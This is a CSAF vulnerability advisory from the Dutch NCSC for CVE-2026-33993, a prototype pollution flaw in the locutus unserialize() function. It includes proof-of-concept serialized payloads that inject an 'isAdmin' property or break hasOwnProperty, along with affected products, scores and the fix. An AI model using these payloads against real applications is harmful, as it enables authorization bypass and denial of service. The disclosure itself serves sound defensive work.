{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33993", "tracking": { "current_release_date": "2026-04-01T13:25:58.308827Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33993", "initial_release_date": "2026-03-27T20:28:36.344198Z", "revision_history": [ { "date": "2026-03-27T20:28:36.344198Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-03-27T20:28:40.025875Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-28T07:40:21.276873Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-03-28T07:40:24.924085Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:40:38.891179Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-28T07:40:41.436445Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:43:21.664082Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-29T00:38:25.948107Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-30T12:32:54.134018Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (7).| Product Identifiers created (1).| References created (6).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-30T12:33:03.576997Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-30T16:40:08.596753Z", "number": "11", "summary": "Unknown change." }, { "date": "2026-03-30T20:47:10.427726Z", "number": "12", "summary": "References created (1)." }, { "date": "2026-04-01T13:25:01.810511Z", "number": "13", "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-04-01T13:25:05.297209Z", "number": "14", "summary": "NCSC Score updated." } ], "status": "interim", "version": "14" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/5", "product": { "name": "vers:rpm/5", "product_id": "CSAFPID-1459353", "product_identification_helper": { "cpe": "cpe:/a:redhat:logging:5" } } } ], "category": "product_name", "name": "Logging Subsystem for Red Hat OpenShift" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5187689" } } ], "category": "product_name", "name": "elasticsearch-operator-bundle" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914696" } } ], "category": "product_name", "name": "elasticsearch-proxy-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914697" } } ], "category": "product_name", "name": "elasticsearch-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855724" } } ], "category": "product_name", "name": "elasticsearch6-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1459355" } } ], "category": "product_name", "name": "kibana6-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2855725" } } ], "category": "product_name", "name": "logging-curator5-rhel9" } ], "category": "product_family", "name": "Logging Subsystem for Red Hat OpenShift" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.0.25", "product": { "name": "vers:unknown/<3.0.25", "product_id": "CSAFPID-5973145", "product_identification_helper": { "cpe": "cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*" } } } ], "category": "product_name", "name": "locutus" } ], "category": "vendor", "name": "locutus" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.0.25", "product": { "name": "vers:unknown/<3.0.25", "product_id": "CSAFPID-5956301" } } ], "category": "product_name", "name": "locutus" } ], "category": "vendor", "name": "locutusjs" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33993", "cwe": { "id": "CWE-1321", "name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')" }, "notes": [ { "category": "description", "text": "## Summary\n\nThe `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override.\n\nThis is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied.\n\n## Details\n\nThe vulnerable code is in two functions within `src/php/var/unserialize.ts`:\n\n**`expectArrayItems()` at line 358:**\n```typescript\n// src/php/var/unserialize.ts:329-366\nfunction expectArrayItems(\n str: string,\n expectedItems = 0,\n cache: CacheFn,\n): [UnserializedObject | UnserializedValue[], number] {\n // ...\n const items: UnserializedObject = {}\n // ...\n for (let i = 0; i < expectedItems; i++) {\n key = expectKeyOrIndex(str)\n // ...\n item = expectType(str, cache)\n // ...\n items[String(key[0])] = item[0] // line 358 — no __proto__ filtering\n }\n // ...\n}\n```\n\n**`expectObject()` at line 278:**\n```typescript\n// src/php/var/unserialize.ts:246-287\nfunction expectObject(str: string, cache: CacheFn): ParsedResult {\n // ...\n const obj: UnserializedObject = {}\n // ...\n for (let i = 0; i < propCount; i++) {\n // ...\n obj[String(prop[0])] = value[0] // line 278 — no __proto__ filtering\n }\n // ...\n}\n```\n\nBoth functions create a plain object (`{}`) and assign user-controlled keys via bracket notation. When the key is `__proto__`, JavaScript's `__proto__` setter replaces the object's prototype rather than creating a regular property. This means:\n\n1. Properties in the attacker-supplied prototype become accessible via dot notation and the `in` operator\n2. These properties are invisible to `Object.keys()`, `JSON.stringify()`, and `hasOwnProperty()`\n3. They propagate to copies made via `for...in` loops, becoming real own properties\n4. The attacker can override `hasOwnProperty`, `toString`, `valueOf` with non-function values\n\nNotably, `parse_str` in the same package has a regex guard against `__proto__` (line 74 of `src/php/strings/parse_str.ts`), but no equivalent protection was applied to `unserialize`.\n\nThis is **not** global `Object.prototype` pollution — only the deserialized object's prototype is replaced. Other objects in the application are not affected.\n\n## PoC\n\n**Setup:**\n```bash\nnpm install locutus@3.0.24\n```\n\n**Step 1 — Property injection via array deserialization:**\n```js\nimport { unserialize } from 'locutus/php/var/unserialize';\n\nconst payload = 'a:2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}';\nconst config = unserialize(payload);\n\nconsole.log(config.isAdmin); // true (injected via prototype)\nconsole.log(Object.keys(config)); // ['name'] — isAdmin is hidden\nconsole.log('isAdmin' in config); // true — bypasses 'in' checks\nconsole.log(config.hasOwnProperty('isAdmin')); // false — invisible to hasOwnProperty\n```\n\n**Verified output:**\n```\ntrue\n[ 'name' ]\ntrue\nfalse\n```\n\n**Step 2 — for...in propagation makes injected properties real:**\n```js\nconst copy = {};\nfor (const k in config) copy[k] = config[k];\nconsole.log(copy.isAdmin); // true (now an own property)\nconsole.log(copy.hasOwnProperty('isAdmin')); // true\n```\n\n**Verified output:**\n```\ntrue\ntrue\n```\n\n**Step 3 — Method override denial of service:**\n```js\nconst payload2 = 'a:1:{s:9:\"__proto__\";a:1:{s:14:\"hasOwnProperty\";b:1;}}';\nconst obj = unserialize(payload2);\nobj.hasOwnProperty('x'); // TypeError: obj.hasOwnProperty is not a function\n```\n\n**Verified output:**\n```\nTypeError: obj.hasOwnProperty is not a function\n```\n\n**Step 4 — Object type (stdClass) is also vulnerable:**\n```js\nconst payload3 = 'O:8:\"stdClass\":2:{s:9:\"__proto__\";a:1:{s:7:\"isAdmin\";b:1;}s:4:\"name\";s:3:\"bob\";}';\nconst obj2 = unserialize(payload3);\nconsole.log(obj2.isAdmin); // true\nconsole.log('isAdmin' in obj2); // true\n```\n\n**Step 5 — Confirm NOT global pollution:**\n```js\nconsole.log(({}).isAdmin); // undefined — global Object.prototype is clean\n```\n\n## Impact\n\n- **Property injection**: Attacker-controlled properties become accessible on the deserialized object via dot notation and the `in` operator while being invisible to `Object.keys()` and `hasOwnProperty()`. Applications that use `if (config.isAdmin)` or `if ('role' in config)` patterns on deserialized data are vulnerable to authorization bypass.\n- **Property propagation**: When consuming code copies the object using `for...in` (a common JavaScript pattern for object spreading or cloning), injected prototype properties materialize as real own properties, surviving all subsequent `hasOwnProperty` checks.\n- **Denial of service**: The injected prototype can override `hasOwnProperty`, `toString`, `valueOf`, and other `Object.prototype` methods with non-function values, causing `TypeError` when these methods are called on the deserialized object.\n\nThe primary use case for locutus `unserialize` is deserializing PHP-serialized data in JavaScript applications, often from external or untrusted sources. This makes the attack surface realistic.\n\n## Recommended Fix\n\nFilter dangerous keys before assignment in both `expectArrayItems` and `expectObject`. Use `Object.defineProperty` to create a data property without triggering the `__proto__` setter:\n\n```typescript\nconst DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);\n\n// In expectArrayItems (line 358) and expectObject (line 278):\nconst keyStr = String(key[0]); // or String(prop[0]) in expectObject\nif (DANGEROUS_KEYS.has(keyStr)) {\n Object.defineProperty(items, keyStr, {\n value: item[0],\n writable: true,\n enumerable: true,\n configurable: true,\n });\n} else {\n items[keyStr] = item[0];\n}\n```\n\nAlternatively, create objects with a null prototype to prevent `__proto__` setter invocation entirely:\n\n```typescript\n// Replace: const items: UnserializedObject = {}\n// With:\nconst items = Object.create(null) as UnserializedObject;\n```\n\nThe `Object.create(null)` approach is more robust as it prevents the `__proto__` setter from ever being triggered, regardless of key value.\n\n\n## Maintainer Reponse\n\nThank you for the report. This issue was reproduced locally against `locutus@3.0.24`, confirming that `unserialize()` was vulnerable to `__proto__`-driven prototype injection on the returned object.\n\nThis is now fixed on `main` and released in `locutus@3.0.25`.\n\n## Fix Shipped In\n\n- **PR:** [#597](https://github.com/locutusjs/locutus/pull/597)\n- **Merge commit on `main`:** `345a6211e1e6f939f96a7090bfeff642c9fcf9e4`\n- **Release:** [v3.0.25](https://github.com/locutusjs/locutus/releases/tag/v3.0.25)\n\n## What the Fix Does\n\nThe fix hardens `src/php/var/unserialize.ts` by treating `__proto__`, `constructor`, and `prototype` as dangerous keys and defining them as plain own properties instead of assigning through normal bracket notation. This preserves the key in the returned value without invoking JavaScript's prototype setter semantics.\n\n## Tested Repro Before the Fix\n\n- Attacker-controlled serialized `__proto__` key produced inherited properties on the returned object\n- `Object.keys()` hid the injected key while `'key' in obj` stayed true\n- Built-in methods like `hasOwnProperty` could be disrupted\n\n## Tested State After the Fix in `3.0.25`\n\n- Dangerous keys are kept as own enumerable properties\n- The returned object's prototype is not replaced\n- The regression is covered by `test/custom/unserialize-prototype-pollution.vitest.ts`\n\n---\n\nThe locutus team is treating this as a real package vulnerability with patched version `3.0.25`.", "title": "github - https://api.github.com/advisories/GHSA-4mph-v827-f877" }, { "category": "description", "text": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33993.json" }, { "category": "description", "text": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33993" }, { "category": "description", "text": "Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.25, the `unserialize()` function in `locutus/php/var/unserialize` assigns deserialized keys to plain objects via bracket notation without filtering the `__proto__` key. When a PHP serialized payload contains `__proto__` as an array or object key, JavaScript's `__proto__` setter is invoked, replacing the deserialized object's prototype with attacker-controlled content. This enables property injection, for...in propagation of injected properties, and denial of service via built-in method override. This is distinct from the previously reported prototype pollution in `parse_str` (GHSA-f98m-q3hr-p5wq, GHSA-rxrv-835q-v5mh) — `unserialize` is a different function with no mitigation applied. Version 3.0.25 patches the issue.\nA flaw was found in Locutus, a library that integrates standard libraries from other programming languages into JavaScript. The `unserialize()` function, which converts serialized PHP data into JavaScript objects, fails to filter the `__proto__` key during deserialization. A remote attacker can exploit this by providing a specially crafted PHP serialized payload that includes `__proto__` as an array or object key. This vulnerability, known as prototype pollution, allows for property injection and can lead to a Denial of Service (DoS) by enabling attackers to override built-in JavaScript methods.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33993.json" }, { "category": "other", "text": "0.00043", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "6.9", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.3", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Redhat, There is product data available from source Redhat", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')), There is exploit data available from source Nvd, Exploit code publicly available", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 2\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5956301", "CSAFPID-1459353", "CSAFPID-1459355", "CSAFPID-2855724", "CSAFPID-2855725", "CSAFPID-2914696", "CSAFPID-2914697", "CSAFPID-5187689", "CSAFPID-5973145" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-4mph-v827-f877" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33993.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33993" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33993.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/locutusjs/locutus/security/advisories/GHSA-4mph-v827-f877" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/locutusjs/locutus/pull/597" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/locutusjs/locutus/commit/345a6211e1e6f939f96a7090bfeff642c9fcf9e4" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/locutusjs/locutus/releases/tag/v3.0.25" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-4mph-v827-f877" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33993" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33993" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-1459353", "CSAFPID-1459355", "CSAFPID-2855724", "CSAFPID-2855725", "CSAFPID-2914696", "CSAFPID-2914697", "CSAFPID-5187689", "CSAFPID-5956301", "CSAFPID-5973145" ] } ], "title": "CVE-2026-33993" } ] }